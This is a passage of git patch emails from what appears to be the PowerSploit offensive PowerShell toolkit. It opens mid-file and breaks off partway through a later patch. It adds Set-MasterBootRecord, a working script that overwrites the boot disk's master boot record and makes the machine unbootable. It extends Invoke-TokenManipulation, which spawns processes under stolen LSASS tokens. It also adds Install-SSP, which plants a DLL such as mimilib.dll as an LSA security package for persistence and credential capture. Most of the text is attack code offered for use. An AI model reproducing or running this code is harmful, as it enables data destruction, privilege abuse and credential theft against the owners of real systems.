&dwBytesWritten, NULL); + DeviceIoControl + ( + hDevice, + FSCTL_UNLOCK_VOLUME, + NULL, + 0, + NULL, + 0, + &dwBytesReturned, + NULL + ); + CloseHandle(hDevice); + + ExitProcess(-1); + return 0; +} +#> + + [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'High')] Param ( + [ValidateLength(1, 479)] + [String] + $BootMessage = 'Stop-Crying; Get-NewHardDrive', + + [Switch] + $RebootImmediately, + + [Switch] + $Force + ) + + if (!([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) + { + throw 'This script must be executed from an elevated command prompt.' + } + + if (!$Force) + { + if (!$psCmdlet.ShouldContinue('Do you want to continue?','Set-MasterBootRecord prevent your machine from booting.')) + { + return + } + } + + #region define P/Invoke types dynamically + $DynAssembly = New-Object System.Reflection.AssemblyName('Win32') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32', $False) + + $TypeBuilder = $ModuleBuilder.DefineType('Win32.Kernel32', 'Public, Class') + $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) + $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') + $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, + @('kernel32.dll'), + [Reflection.FieldInfo[]]@($SetLastError), + @($True)) + + # Define [Win32.Kernel32]::DeviceIoControl + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('DeviceIoControl', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + # Define [Win32.Kernel32]::CreateFile + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateFile', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [IntPtr], + [Type[]]@([String], [Int32], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Ansi) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + # Define [Win32.Kernel32]::WriteFile + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('WriteFile', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType(), [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Ansi) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + # Define [Win32.Kernel32]::CloseHandle + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CloseHandle', + 'kernel32.dll', + ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), + [Reflection.CallingConventions]::Standard, + [Bool], + [Type[]]@([IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) + + $Kernel32 = $TypeBuilder.CreateType() + #endregion + + $LengthBytes = [BitConverter]::GetBytes(([Int16] ($BootMessage.Length + 5))) + # Convert the boot message to a byte array + $MessageBytes = [Text.Encoding]::ASCII.GetBytes(('PS > ' + $BootMessage)) + + [Byte[]] $MBRInfectionCode = @( + 0xb8, 0x12, 0x00, # MOV AX, 0x0012 ; CMD: Set video mode, ARG: text resolution 80x30, pixel resolution 640x480, colors 16/256K, VGA + 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set video mode + 0xb8, 0x00, 0x0B, # MOV AX, 0x0B00 ; CMD: Set background color + 0xbb, 0x01, 0x00, # MOV BX, 0x000F ; Background color: Blue + 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Set background color + 0xbd, 0x20, 0x7c, # MOV BP, 0x7C18 ; Offset to string: 0x7C00 (base of MBR code) + 0x20 + 0xb9) + $LengthBytes + @( # MOV CX, 0x0018 ; String length + 0xb8, 0x01, 0x13, # MOV AX, 0x1301 ; CMD: Write string, ARG: Assign BL attribute (color) to all characters + 0xbb, 0x0f, 0x00, # MOV BX, 0x000F ; Page Num: 0, Color: White + 0xba, 0x00, 0x00, # MOV DX, 0x0000 ; Row: 0, Column: 0 + 0xcd, 0x10, # INT 0x10 ; BIOS interrupt call - Write string + 0xe2, 0xfe # LOOP 0x16 ; Print all characters to the buffer + ) + $MessageBytes + + $MBRSize = [UInt32] 512 + + if ($MBRInfectionCode.Length -gt ($MBRSize - 2)) + { + throw "The size of the MBR infection code cannot exceed $($MBRSize - 2) bytes." + } + + # Allocate 512 bytes for the MBR + $MBRBytes = [Runtime.InteropServices.Marshal]::AllocHGlobal($MBRSize) + + # Zero-initialize the allocated unmanaged memory + 0..511 | % { [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, $_), 0) } + + [Runtime.InteropServices.Marshal]::Copy($MBRInfectionCode, 0, $MBRBytes, $MBRInfectionCode.Length) + + # Write boot record signature to the end of the MBR + [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 2)), 0x55) + [Runtime.InteropServices.Marshal]::WriteByte([IntPtr]::Add($MBRBytes, ($MBRSize - 1)), 0xAA) + + # Get the device ID of the boot disk + $DeviceID = Get-WmiObject -Class Win32_DiskDrive -Filter 'Index = 0' | Select-Object -ExpandProperty DeviceID + + $GENERIC_READWRITE = 0x80000000 -bor 0x40000000 + $FILE_SHARE_READWRITE = 2 -bor 1 + $OPEN_EXISTING = 3 + + # Obtain a read handle to the raw disk + $DriveHandle = $Kernel32::CreateFile($DeviceID, $GENERIC_READWRITE, $FILE_SHARE_READWRITE, 0, $OPEN_EXISTING, 0, 0) + + if ($DriveHandle -eq ([IntPtr] 0xFFFFFFFF)) + { + throw "Unable to obtain read/write handle to $DeviceID" + } + + $BytesReturned = [UInt32] 0 + $BytesWritten = [UInt32] 0 + $FSCTL_LOCK_VOLUME = 0x00090018 + $FSCTL_UNLOCK_VOLUME = 0x0009001C + + $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_LOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) + $null = $Kernel32::WriteFile($DriveHandle, $MBRBytes, $MBRSize, [Ref] $BytesWritten, 0) + $null = $Kernel32::DeviceIoControl($DriveHandle, $FSCTL_UNLOCK_VOLUME, 0, 0, 0, 0, [Ref] $BytesReturned, 0) + $null = $Kernel32::CloseHandle($DriveHandle) + + Start-Sleep -Seconds 2 + + [Runtime.InteropServices.Marshal]::FreeHGlobal($MBRBytes) + + Write-Verbose 'Master boot record overwritten successfully.' + + if ($RebootImmediately) + { + Restart-Computer -Force + } +} + +function Set-CriticalProcess { <# .SYNOPSIS diff --git a/README.md b/README.md index 82c198b9..a4371813 100644 --- a/README.md +++ b/README.md @@ -196,6 +196,11 @@ Generates a full-memory minidump of a process. **Cause general mayhem with PowerShell.** +#### `Set-MasterBootRecord` + +Proof of concept code that overwrites the master boot record with the + message of your choice. + #### `Set-CriticalProcess` Causes your machine to blue screen upon exiting PowerShell. From 6df4cf971b9a5876d1893d544affb397e526b3ac Mon Sep 17 00:00:00 2001 From: mattifestation Date: Sat, 13 Sep 2014 12:37:50 -0400 Subject: [PATCH 004/296] Updating the script style guide --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index a4371813..fc307a59 100644 --- a/README.md +++ b/README.md @@ -259,7 +259,7 @@ Note: The tools contained within this module were all designed such that they ca **For all contributors and future contributors to PowerSploit, I ask that you follow this style guide when writing your scripts/modules.** -* Avoid Write-Host **at all costs**. You should output custom objects instead. For more information on creating custom objects, read these articles: +* Avoid Write-Host **at all costs**. ** PowerShell functions/cmdlets are not command-line utilities!** Pull requests containing code that uses Write-Host will not be considered. You should output custom objects instead. For more information on creating custom objects, read these articles: * * From 9d412f0d6ac53b47266bbbe03eff36ab653d4494 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Sat, 13 Sep 2014 12:39:19 -0400 Subject: [PATCH 005/296] Updating the script style guide #2 --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index fc307a59..63ec6f0e 100644 --- a/README.md +++ b/README.md @@ -259,7 +259,7 @@ Note: The tools contained within this module were all designed such that they ca **For all contributors and future contributors to PowerSploit, I ask that you follow this style guide when writing your scripts/modules.** -* Avoid Write-Host **at all costs**. ** PowerShell functions/cmdlets are not command-line utilities!** Pull requests containing code that uses Write-Host will not be considered. You should output custom objects instead. For more information on creating custom objects, read these articles: +* Avoid Write-Host **at all costs**. PowerShell functions/cmdlets are not command-line utilities! Pull requests containing code that uses Write-Host will not be considered. You should output custom objects instead. For more information on creating custom objects, read these articles: * * From ba02a116872c52103e02e8da0c037911cb1a2309 Mon Sep 17 00:00:00 2001 From: clymb3r Date: Sun, 28 Sep 2014 19:29:44 -0700 Subject: [PATCH 006/296] Added -PassThru to Invoke-TokenManipulation Thanks to Run Mariboe for the contribution to Invoke-TokenManipulation adding the -PassThru flag for newly created processes. Version increased to 1.11. --- Exfiltration/Invoke-TokenManipulation.ps1 | 40 ++++++++++++++++++++--- 1 file changed, 35 insertions(+), 5 deletions(-) diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1 index 8c8b7b41..7bfce3b4 100644 --- a/Exfiltration/Invoke-TokenManipulation.ps1 +++ b/Exfiltration/Invoke-TokenManipulation.ps1 @@ -49,7 +49,8 @@ Author: Joe Bialek, Twitter: @JosephBialek License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None -Version: 1.1 +Version: 1.11 +(1.1 -> 1.11: PassThru of System.Diagnostics.Process object added by Rune Mariboe, https://www.linkedin.com/in/runemariboe) .DESCRIPTION @@ -106,6 +107,10 @@ If you are creating a process which doesn't need a UI to be rendered, use this f current user. If this flag isn't set and -CreateProcess is used, this script will modify the ACL's of the current users desktop to allow full control to "Everyone". +.PARAMETER PassThru + +If you are creating a process, this will pass the System.Diagnostics.Process object to the pipeline. + .EXAMPLE @@ -151,6 +156,12 @@ Spawns cmd.exe using the primary token of LSASS.exe. This pipes the output of Ge .EXAMPLE +(Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" -PassThru).WaitForExit() + +Spawns cmd.exe using the primary token of LSASS.exe. Then holds the spawning PowerShell session until that process has exited. + +.EXAMPLE + Get-Process wininit | Invoke-TokenManipulation -ImpersonateUser Makes the current thread impersonate the lsass security token. @@ -220,7 +231,11 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke [Parameter(ParameterSetName = "CreateProcess")] [Switch] - $NoUI + $NoUI, + + [Parameter(ParameterSetName = "CreateProcess")] + [Switch] + $PassThru ) Set-StrictMode -Version 2 @@ -1549,7 +1564,11 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke [Parameter(Position=2)] [String] - $ProcessArgs + $ProcessArgs, + + [Parameter(Position=3)] + [Switch] + $PassThru ) Write-Verbose "Entering Create-ProcessWithToken" #Duplicate the token so it can be used to create a new process @@ -1600,6 +1619,18 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke $ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION) $CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null $CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null + + #Pass created System.Diagnostics.Process object to pipeline + if ($PassThru) { + #Retrieving created System.Diagnostics.Process object + $returnProcess = Get-Process -Id $ProcessInfo.dwProcessId + + #Caching process handle so we don't lose it when the process exits + $null = $returnProcess.Handle + + #Passing System.Diagnostics.Process object to pipeline + $returnProcess + } } else { @@ -1841,7 +1872,7 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke Set-DesktopACLs } - Create-ProcessWithToken -hToken $hToken -ProcessName $CreateProcess -ProcessArgs $ProcessArgs + Create-ProcessWithToken -hToken $hToken -ProcessName $CreateProcess -ProcessArgs $ProcessArgs -PassThru:$PassThru Invoke-RevertToSelf } @@ -1880,4 +1911,3 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke #Start the main function Main } - From 0ca33b03479f16b572c8991285ca36b4574a1822 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Wed, 1 Oct 2014 20:47:14 -0400 Subject: [PATCH 007/296] Added Install-SSP and Get-SecurityPackages --- Persistence/Persistence.psd1 | 5 +- Persistence/Persistence.psm1 | 294 +++++++++++++++++++++++++++++++++++ README.md | 8 + 3 files changed, 303 insertions(+), 4 deletions(-) diff --git a/Persistence/Persistence.psd1 b/Persistence/Persistence.psd1 index b2fa69f0..f51f7ce0 100644 --- a/Persistence/Persistence.psd1 +++ b/Persistence/Persistence.psd1 @@ -4,7 +4,7 @@ ModuleToProcess = 'Persistence.psm1' # Version number of this module. -ModuleVersion = '1.0.0.0' +ModuleVersion = '1.1.0.0' # ID used to uniquely identify this module GUID = '633d0f10-a056-41da-869d-6d2f75430195' @@ -27,9 +27,6 @@ FunctionsToExport = '*' # Cmdlets to export from this module CmdletsToExport = '*' -# List of all modules packaged with this module. -ModuleList = @(@{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'}) - # List of all files packaged with this module FileList = 'Persistence.psm1', 'Persistence.psd1', 'Usage.md' diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1 index d0545d6c..3666c591 100644 --- a/Persistence/Persistence.psm1 +++ b/Persistence/Persistence.psm1 @@ -697,4 +697,298 @@ $UserTriggerRemoval } #endregion +} + +function Install-SSP +{ +<# +.SYNOPSIS + +Installs a security support provider (SSP) dll. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Install-SSP installs an SSP dll. Installation involves copying the dll to +%windir%\System32 and adding the name of the dll to +HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages. + +.PARAMETER Remove + +Specifies the path to the SSP dll you would like to install. + +.EXAMPLE + +Install-SSP -Path .\mimilib.dll + +.NOTES + +The SSP dll must match the OS architecture. i.e. You must have a 64-bit SSP dll +if you are running a 64-bit OS. In order for the SSP dll to be loaded properly +into lsass, the dll must export SpLsaModeInitialize. +#> + + [CmdletBinding()] Param ( + [ValidateScript({Test-Path (Resolve-Path $_)})] + [String] + $Path + ) + + $Principal = [Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent() + + if(-not $Principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) + { + throw 'Installing an SSP dll requires administrative rights. Execute this script from an elevated PowerShell prompt.' + } + + # Resolve the full path if a relative path was provided. + $FullDllPath = Resolve-Path $Path + + # Helper function used to determine the dll architecture + function local:Get-PEArchitecture + { + Param + ( + [Parameter( Position = 0, + Mandatory = $True )] + [String] + $Path + ) + + # Parse PE header to see if binary was compiled 32 or 64-bit + $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) + + [Byte[]] $MZHeader = New-Object Byte[](2) + $FileStream.Read($MZHeader,0,2) | Out-Null + + $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader) + if ($Header -ne 'MZ') + { + $FileStream.Close() + Throw 'Invalid PE header.' + } + + # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header) + $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null + + [Byte[]] $lfanew = New-Object Byte[](4) + + # Read offset to the PE Header (will be read in reverse) + $FileStream.Read($lfanew,0,4) | Out-Null + $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join '')) + + # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE + $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null + [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2) + + # Read compiled architecture + $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null + $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '') + $FileStream.Close() + + if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) + { + Throw 'Invalid PE header or unsupported architecture.' + } + + if ($Architecture -eq '014C') + { + Write-Output '32-bit' + } + elseif ($Architecture -eq '8664') + { + Write-Output '64-bit' + } + else + { + Write-Output 'Other' + } + } + + $DllArchitecture = Get-PEArchitecture $FullDllPath + + $OSArch = Get-WmiObject Win32_OperatingSystem | Select-Object -ExpandProperty OSArchitecture + + if ($DllArchitecture -ne $OSArch) + { + throw 'The operating system architecture must match the architecture of the SSP dll.' + } + + $Dll = Get-Item $FullDllPath | Select-Object -ExpandProperty Name + + # Get the dll filename without the extension. + # This will be added to the registry. + $DllName = $Dll | % { % {($_ -split '\.')[0]} } + + # Enumerate all of the currently installed SSPs + $SecurityPackages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' | + Select-Object -ExpandProperty 'Security Packages' + + if ($SecurityPackages -contains $DllName) + { + throw "'$DllName' is already present in HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages." + } + + # In case you're running 32-bit PowerShell on a 64-bit OS + $NativeInstallDir = "$($Env:windir)\Sysnative" + + if (Test-Path $NativeInstallDir) + { + $InstallDir = $NativeInstallDir + } + else + { + $InstallDir = "$($Env:windir)\System32" + } + + if (Test-Path (Join-Path $InstallDir $Dll)) + { + throw "$Dll is already installed in $InstallDir." + } + + # If you've made it this far, you are clear to install the SSP dll. + Copy-Item $FullDllPath $InstallDir + + $SecurityPackages += $DllName + + Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackages + + Write-Verbose 'Installation complete! Reboot for changes to take effect.' +} + +function Get-SecurityPackages +{ +<# +.SYNOPSIS + +Enumerates all loaded security packages (SSPs). + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Get-SecurityPackages is a wrapper for secur32!EnumerateSecurityPackages. +It also parses the returned SecPkgInfo struct array. + +.EXAMPLE + +Get-SecurityPackages +#> + + [CmdletBinding()] Param() + + #region P/Invoke declarations for secur32.dll + $DynAssembly = New-Object System.Reflection.AssemblyName('SSPI') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI', $False) + + $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) + $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) + $StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + + $EnumBuilder = $ModuleBuilder.DefineEnum('SSPI.SECPKG_FLAG', 'Public', [Int32]) + $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) + $null = $EnumBuilder.DefineLiteral('INTEGRITY', 1) + $null = $EnumBuilder.DefineLiteral('PRIVACY', 2) + $null = $EnumBuilder.DefineLiteral('TOKEN_ONLY', 4) + $null = $EnumBuilder.DefineLiteral('DATAGRAM', 8) + $null = $EnumBuilder.DefineLiteral('CONNECTION', 0x10) + $null = $EnumBuilder.DefineLiteral('MULTI_REQUIRED', 0x20) + $null = $EnumBuilder.DefineLiteral('CLIENT_ONLY', 0x40) + $null = $EnumBuilder.DefineLiteral('EXTENDED_ERROR', 0x80) + $null = $EnumBuilder.DefineLiteral('IMPERSONATION', 0x100) + $null = $EnumBuilder.DefineLiteral('ACCEPT_WIN32_NAME', 0x200) + $null = $EnumBuilder.DefineLiteral('STREAM', 0x400) + $null = $EnumBuilder.DefineLiteral('NEGOTIABLE', 0x800) + $null = $EnumBuilder.DefineLiteral('GSS_COMPATIBLE', 0x1000) + $null = $EnumBuilder.DefineLiteral('LOGON', 0x2000) + $null = $EnumBuilder.DefineLiteral('ASCII_BUFFERS', 0x4000) + $null = $EnumBuilder.DefineLiteral('FRAGMENT', 0x8000) + $null = $EnumBuilder.DefineLiteral('MUTUAL_AUTH', 0x10000) + $null = $EnumBuilder.DefineLiteral('DELEGATION', 0x20000) + $null = $EnumBuilder.DefineLiteral('READONLY_WITH_CHECKSUM', 0x40000) + $null = $EnumBuilder.DefineLiteral('RESTRICTED_TOKENS', 0x80000) + $null = $EnumBuilder.DefineLiteral('NEGO_EXTENDER', 0x100000) + $null = $EnumBuilder.DefineLiteral('NEGOTIABLE2', 0x200000) + $null = $EnumBuilder.DefineLiteral('APPCONTAINER_PASSTHROUGH', 0x400000) + $null = $EnumBuilder.DefineLiteral('APPCONTAINER_CHECKS', 0x800000) + $SECPKG_FLAG = $EnumBuilder.CreateType() + + $TypeBuilder = $ModuleBuilder.DefineType('SSPI.SecPkgInfo', $StructAttributes, [Object], [Reflection.Emit.PackingSize]::Size8) + $null = $TypeBuilder.DefineField('fCapabilities', $SECPKG_FLAG, 'Public') + $null = $TypeBuilder.DefineField('wVersion', [Int16], 'Public') + $null = $TypeBuilder.DefineField('wRPCID', [Int16], 'Public') + $null = $TypeBuilder.DefineField('cbMaxToken', [Int32], 'Public') + $null = $TypeBuilder.DefineField('Name', [IntPtr], 'Public') + $null = $TypeBuilder.DefineField('Comment', [IntPtr], 'Public') + $SecPkgInfo = $TypeBuilder.CreateType() + + $TypeBuilder = $ModuleBuilder.DefineType('SSPI.Secur32', 'Public, Class') + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('EnumerateSecurityPackages', + 'secur32.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([Int32].MakeByRefType(), + [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Ansi) + + $Secur32 = $TypeBuilder.CreateType() + + $PackageCount = 0 + $PackageArrayPtr = [IntPtr]::Zero + $Result = $Secur32::EnumerateSecurityPackages([Ref] $PackageCount, [Ref] $PackageArrayPtr) + + if ($Result -ne 0) + { + throw "Unable to enumerate seucrity packages. Error (0x$($Result.ToString('X8')))" + } + + if ($PackageCount -eq 0) + { + Write-Verbose 'There are no installed security packages.' + return + } + + $StructAddress = $PackageArrayPtr + + foreach ($i in 1..$PackageCount) + { + $SecPackageStruct = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $SecPkgInfo) + $StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $SecPkgInfo)) + + $Name = $null + + if ($SecPackageStruct.Name -ne [IntPtr]::Zero) + { + $Name = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Name) + } + + $Comment = $null + + if ($SecPackageStruct.Comment -ne [IntPtr]::Zero) + { + $Comment = [Runtime.InteropServices.Marshal]::PtrToStringAnsi($SecPackageStruct.Comment) + } + + $Attributes = @{ + Name = $Name + Comment = $Comment + Capabilities = $SecPackageStruct.fCapabilities + MaxTokenSize = $SecPackageStruct.cbMaxToken + } + + $SecPackage = New-Object PSObject -Property $Attributes + $SecPackage.PSObject.TypeNames[0] = 'SECUR32.SECPKGINFO' + + $SecPackage + } } \ No newline at end of file diff --git a/README.md b/README.md index 63ec6f0e..03589304 100644 --- a/README.md +++ b/README.md @@ -56,6 +56,14 @@ Configure elevated persistence options for the Add-Persistence function. Add persistence capabilities to a script. +#### `Install-SSP` + +Installs a security support provider (SSP) dll. + +#### `Get-SecurityPackages` + +Enumerates all loaded security packages (SSPs). + ## PETools **Parse/manipulate Windows portable executables.** From 97034006f63f2691cde8ddb1055b1253c6f93cce Mon Sep 17 00:00:00 2001 From: mattifestation Date: Wed, 1 Oct 2014 23:17:50 -0400 Subject: [PATCH 008/296] Loading of an SSP no longer requires a reboot. --- Persistence/Persistence.psm1 | 42 +++++++++++++++++++++++++++++++++++- 1 file changed, 41 insertions(+), 1 deletion(-) diff --git a/Persistence/Persistence.psm1 b/Persistence/Persistence.psm1 index 3666c591..344c13d0 100644 --- a/Persistence/Persistence.psm1 +++ b/Persistence/Persistence.psm1 @@ -857,7 +857,47 @@ into lsass, the dll must export SpLsaModeInitialize. Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' -Value $SecurityPackages - Write-Verbose 'Installation complete! Reboot for changes to take effect.' + $DynAssembly = New-Object System.Reflection.AssemblyName('SSPI2') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SSPI2', $False) + + $TypeBuilder = $ModuleBuilder.DefineType('SSPI2.Secur32', 'Public, Class') + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('AddSecurityPackage', + 'secur32.dll', + 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([String], [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + $Secur32 = $TypeBuilder.CreateType() + + if ([IntPtr]::Size -eq 4) { + $StructSize = 20 + } else { + $StructSize = 24 + } + + $StructPtr = [Runtime.InteropServices.Marshal]::AllocHGlobal($StructSize) + [Runtime.InteropServices.Marshal]::WriteInt32($StructPtr, $StructSize) + + $RuntimeSuccess = $True + + try { + $Result = $Secur32::AddSecurityPackage($DllName, $StructPtr) + } catch { + $HResult = $Error[0].Exception.InnerException.HResult + Write-Warning "Runtime loading of the SSP failed. (0x$($HResult.ToString('X8')))" + Write-Warning "Reason: $(([ComponentModel.Win32Exception] $HResult).Message)" + $RuntimeSuccess = $False + } + + if ($RuntimeSuccess) { + Write-Verbose 'Installation and loading complete!' + } else { + Write-Verbose 'Installation complete! Reboot for changes to take effect.' + } } function Get-SecurityPackages From 956e4c968a1795d868e35fcb72311704d616cbaf Mon Sep 17 00:00:00 2001 From: mattifestation Date: Sun, 16 Nov 2014 10:26:11 -0500 Subject: [PATCH 009/296] Moving all RE functionality to PowerShellArsenal https://github.com/mattifestation/PowerShellArsenal PowerSploit will now stay true to its roots of being a purely offensive PowerShell module. --- Capstone/Capstone.psd1 | 48 - Capstone/Capstone.psm1 | 171 --- Capstone/Get-CSDisassembly.format.ps1xml | 41 - Capstone/LICENSE.TXT | 30 - Capstone/README | 17 - Capstone/lib/capstone.dll | Bin 91136 -> 0 bytes Capstone/lib/place_capstone.dll_here | 0 Capstone/lib/x64/libcapstone.dll | Bin 3629294 -> 0 bytes .../lib/x64/place_64-bit_libcapstone.dll_here | 0 Capstone/lib/x86/libcapstone.dll | Bin 3622809 -> 0 bytes .../lib/x86/place_32-bit_libcapstone.dll_here | 0 PETools/Get-DllLoadPath.ps1 | 190 --- PETools/Get-LibSymbols.format.ps1xml | 31 - PETools/Get-LibSymbols.ps1 | 282 ---- PETools/Get-ObjDump.format.ps1xml | 292 ---- PETools/Get-ObjDump.ps1 | 708 ---------- PETools/Get-PEHeader.ps1 | 960 ------------- PETools/PETools.format.ps1xml | 374 ----- PETools/PETools.psd1 | 89 -- PETools/PETools.psm1 | 1 - PETools/Usage.md | 12 - PowerSploit.psd1 | 56 +- README.md | 100 +- ReverseEngineering/ConvertTo-String.ps1 | 70 - ReverseEngineering/Get-Entropy.ps1 | 106 -- .../Get-ILDisassembly.format.ps1xml | 46 - ReverseEngineering/Get-ILDisassembly.ps1 | 215 --- ReverseEngineering/Get-Member.ps1 | 369 ----- ReverseEngineering/Get-MethodAddress.ps1 | 120 -- .../Get-NtSystemInformation.format.ps1xml | 440 ------ .../Get-NtSystemInformation.ps1 | 1082 --------------- ReverseEngineering/Get-PEB.format.ps1xml | 1210 ----------------- ReverseEngineering/Get-PEB.ps1 | 1092 --------------- ReverseEngineering/Get-Strings.ps1 | 98 -- ReverseEngineering/Get-StructFromMemory.ps1 | 203 --- .../ProcessModuleTrace.format.ps1xml | 36 - ReverseEngineering/ProcessModuleTrace.ps1 | 103 -- ReverseEngineering/ReverseEngineering.psd1 | 91 -- ReverseEngineering/ReverseEngineering.psm1 | 1 - ReverseEngineering/Usage.md | 12 - 40 files changed, 10 insertions(+), 8686 deletions(-) delete mode 100644 Capstone/Capstone.psd1 delete mode 100644 Capstone/Capstone.psm1 delete mode 100644 Capstone/Get-CSDisassembly.format.ps1xml delete mode 100644 Capstone/LICENSE.TXT delete mode 100644 Capstone/README delete mode 100644 Capstone/lib/capstone.dll delete mode 100644 Capstone/lib/place_capstone.dll_here delete mode 100644 Capstone/lib/x64/libcapstone.dll delete mode 100644 Capstone/lib/x64/place_64-bit_libcapstone.dll_here delete mode 100644 